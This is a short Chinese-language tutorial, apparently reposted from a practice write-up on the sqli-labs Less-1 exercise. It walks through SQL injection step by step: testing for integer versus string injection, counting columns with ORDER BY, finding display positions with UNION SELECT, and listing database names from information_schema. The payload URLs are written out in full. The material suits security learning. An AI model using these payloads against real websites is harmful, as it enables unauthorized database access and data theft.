SQL注入詳細步驟講解


SQL注入詳細步驟講解

 

1Get型 整型與字符型注入判斷:

舉例:

http://xxx/xxx/Less-1/?id=1 and 1=1 --+ 

輸入?id=1 and 1=1 --+正常,輸入?id=1 and 1=2 --+報錯,可判斷為整型注入。

http://xxx.xxx/Less-1/?id=1'   

輸入?id=1'出現報錯,輸入?id=1''正常,可判斷為字符型注入。

http://xxx.xxx/Less-1/?id=1' and 1=1 -- -  

輸入?id=1' and 1=1 -- -正常,輸入?id=1' and 1=2 -- -報錯,可判斷為字符型注入。

http://xxx/xxx/Less-1/?id=1' and 1=1 --+ 

輸入?id=1' and 1=1 --+正常,輸入?id=1' and 1=2 --+報錯,可判斷為字符型注入。

 

總結:--+為注釋后面的內容 -- -也可以用,效果一樣。單引號是用來猜其是否存在字符型注入的,不加的就是測試其是否是整型注入的。

 

2、判斷列數

判斷完整型還是字符型后,去判斷有多少列,當輸入的列數超過它本來的就會出現報錯。

舉例:id=1' order by 4 --+ 判斷這個數據庫是否有四列,如果不是會報錯,反之不報錯。

 

3、判斷顯示位及在顯示位上放一些sql函數來獲取你想要知道的。

id改為0或負數或100000這種很大的數,這中不存在的情況就會使其報錯,就會直接執行后面的語句。

 

舉例:id=0' union select 1,2,3 --+ 判斷其中的顯示位為哪個,假如是3,那就可在這個位置上加入sql函數來測試。

 MySql的函數有:

1:system_user()  系統用戶名

2:user()         用戶名

3:current_user   當前用戶名

4:session_user()  連接數據庫的用戶名

5:database()     數據庫名

6:version()       MYSQL數據庫版本

7:load_file()      轉成16進制或者是10進制 MYSQL讀取本地文件的函數

8:@@datadir     讀取數據庫路徑

9:@@basedir     MYSQL 安裝路徑

10:@@version_compile_os     操作系統

 

舉例:

1http://xxx/Less-1/?id=0' union select 1,2,database() --+ 獲取當前數據庫名。

2http://xxx/Less-1/?id=0' union select 1,2, group_concat(SCHEMA_NAME) from information_schema.SCHEMATA --+ 

顯示所有庫名。

group_concat() 是把相同的值全部以逗號分割的形式列出來。

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM